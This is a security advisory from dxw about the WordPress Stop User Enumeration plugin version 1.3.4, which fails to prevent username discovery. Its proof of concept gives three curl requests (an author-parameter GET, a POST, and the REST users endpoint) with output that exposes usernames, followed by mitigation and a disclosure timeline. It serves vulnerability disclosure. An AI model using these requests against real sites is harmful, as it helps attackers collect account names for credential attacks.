WordPress Stop User Enumeration plugin version 1.3.4 fails to stop user enumeration.
a5b9ecefc46a9dc57fc49c4583f89b99ebc64da867181e4ef815252dc040302a
Details
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Software: Stop User Enumeration
Version: 1.3.4
Homepage: https://wordpress.org/plugins/stop-user-enumeration/
Advisory report: https://security.dxw.com/advisories/stop-user-enumeration-does-not-stop-user-enumeration/
CVE: Awaiting assignment
CVSS: 5 (Medium; AV:N/AC:L/Au:N/C:P/I:N/A:N)
Description
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Stop User Enumeration does not stop user enumeration
Vulnerability
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Traditionally user enumeration of a WordPress site is done by making a series of requests to /?author=1 /?author=2 /?author=3 and so onA (a similar effect can be achieved using POST requests too). WordPress 4.7 introduced a REST API endpoint to list all users.
This plugin attempts toA prevent requests with an author parameter (but fails), andA makes no attempt at preventing requests to the REST API.
Proof of concept
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There are three ways to bypass this pluginas protections.
A GET request:
$ curl -i -s \'http://localhost/?wp-comments-post&author=1\'
HTTP/1.1 301 Moved Permanently
Date: Fri, 23 Dec 2016 15:38:02 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/7.0.13
Location: http://localhost/author/tomdxw/?wp-comments-post
Content-Length: 0
Content-Type: text/html; charset=UTF-8
A POST request:
$ curl -s http://localhost/?wp-comments-post -d author=1 | grep \'<title\'
<title>tomdxw a WP Test</title>
The REST API (new in WordPress 4.7):
$ curl -s http://localhost/wp-json/wp/v2/users
[{\"id\":1,\"name\":\"tomdxw\",\"url\":\"\",\"description\":\"\",\"link\":\"http:\\/\\/localhost\\/author\\/tomdxw\\/\",\"slug\":\"tomdxw\",\"avatar_urls\":{\"24\":\"http:\\/\\/2.gravatar.com\\/avatar\\/2b5450324939bb3d1352f377950c5503?s=24&d=mm&r=g\",\"48\":\"http:\\/\\/2.gravatar.com\\/avatar\\/2b5450324939bb3d1352f377950c5503?s=48&d=mm&r=g\",\"96\":\"http:\\/\\/2.gravatar.com\\/avatar\\/2b5450324939bb3d1352f377950c5503?s=96&d=mm&r=g\"},\"meta\":[],\"_links\":{\"self\":[{\"href\":\"http:\\/\\/localhost\\/wp-json\\/wp\\/v2\\/users\\/1\"}],\"collection\":[{\"href\":\"http:\\/\\/localhost\\/wp-json\\/wp\\/v2\\/users\"}]}}]
Mitigations
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Upgrade to version 1.3.5 or later.
Disclosure policy
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dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/
Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.
This vulnerability will be published if we do not receive a response to this report with 14 days.
Timeline
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2016-12-23: Discovered
2016-12-23: Reported to vendor viaA info@fullworks.net
2016-12-23: Requested CVE
2016-12-23: Vendor first replied
2017-01-03: Vendor reported issue fixed in version 1.3.5
2017-01-04: Advisory published
Discovered by dxw:
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Tom Adams
Please visit security.dxw.com for more information.